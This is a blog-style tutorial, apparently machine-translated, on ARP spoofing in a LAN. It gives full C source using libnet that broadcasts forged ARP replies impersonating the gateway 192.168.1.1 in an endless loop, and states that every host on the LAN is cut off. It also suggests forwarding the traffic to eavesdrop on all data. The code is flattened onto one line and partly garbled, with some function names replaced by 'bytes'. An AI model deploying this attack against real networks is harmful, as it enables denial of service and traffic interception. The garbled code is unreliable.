Linux uses libnet to implement ARP Attack Script Principle Analysis to prevent attacks

Nothing left to worry about. libnet was used to write a simple ARP attack. Previously, I felt that ARP attacks were not very common, but I encountered two ARP spoofing events in my recent work. In fact, the principle of ARP spoofing is often simple. Most of them send forged ARP broadcast packets in the LAN. What is the purpose of the broadcast packet? It's easy to trick all hosts in the intranet into telling the affected host that "I" is the gateway. After receiving such a broadcast packet, the Intranet machine refreshes its ARP cache table and binds the IP address of the gateway to the source MAC address in the broadcast packet. In this way, the attacker can impersonate a gateway. The last time a university was attacked by ARP spoofing, their school homepage would jump out of many other messy pages as soon as it was opened. At that time, they checked the source code of their WEB server, if the <iframe> code is not inserted, the page code is displayed. However, when you use a browser to access the Internet, the code appears, obviously, the client data returned from the website is hijacked and modified (some code is inserted ). The implementation below is relatively simple. Only spoofing and no forwarding are required. The consequence is that all hosts in the LAN will be disconnected from the network. After testing, the Intranet host will not be able to access the Internet, and the ARP protection will trigger an alarm. If the Intranet host is able to access the Internet, the network speed may be slow, but the identified attack host may not be accurate, I tried several times to identify a normal computer as an attack. I don't know whether the recognition of 360 is identified by the source MAC address or how .. The Code is as follows:

# Include "arp. h "int main (int argc, char ** argv) {libnet_t * l; int I, packet_size; // The length of the sent packet libnet_ptag_t arp_tag, ether_tag; char * device = "eth0"; char err_buf [LIBNET_ERRBUF_SIZE]; char * destion_ip_str = "255.255.255.255"; char * source_ip_str = "192.168.1.1 "; u_char source_hardware [6] = {0x00, 0x0c, 0x29,0x68,0x95,0x84}; u_char destion_hardware [6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; u_int32_t source_ip, destion_ip; // convert the character form ip address to the network byte order source_ip = bytes (l, source_ip_str, LIBNET_RESOLVE); destion_ip = bytes (l, bytes, LIBNET_RESOLVE); // initialize libnet handle l = libnet_init (LIBNET_LINK, device, err_buf); if (l = NULL) {printf ("libnet handle initialization failed: % s \ n ", err_buf); exit (-1);} arp_tag = libnet_build_arp (ARPHRD_ETHER, // type of the hardware address. Here it is Ethernet ETHERTYPE_IP, // Protocol address type 6, 4, ARPOP_REPLY, // ARP response source_hardware, (u_int8_t *) & source_ip, destion_hardware, (u_int8_t *) & destion_ip, NULL, // No load 0, // The load length is 0 l, 0 // protocol block tag, 0, indicating the new protocol block); ether_tag = libnet_build_ethernet (u_int8_t *) & destion_hardware, (u_int8_t *) & source_hardware, ETHERTYPE_ARP, NULL, 0, l, 0); I = 0; while (1) {packet_size = libnet_write (l ); // send the constructed ARP packet usleep (10); I ++;} printf ("Packet Length: % d \ n", packet_size); libnet_destroy (l ); return 0 ;}

 

The target MAC address is the broadcast address, and the source MAC address can be a local MAC address or a forged MAC address (obtain the ioctl function available for the local MAC in the program, recently, I was writing a DDOS attack program to obtain the MAC and IP addresses of the local machine using ioctl. Note that the ARP packet type is ARPOP_REPLY (response packet ). If you do not want to disconnect the network and only perform spoofing, after the data is sent, it will be forwarded to the correct gateway to ensure that the Intranet network is normal and all data is listened on.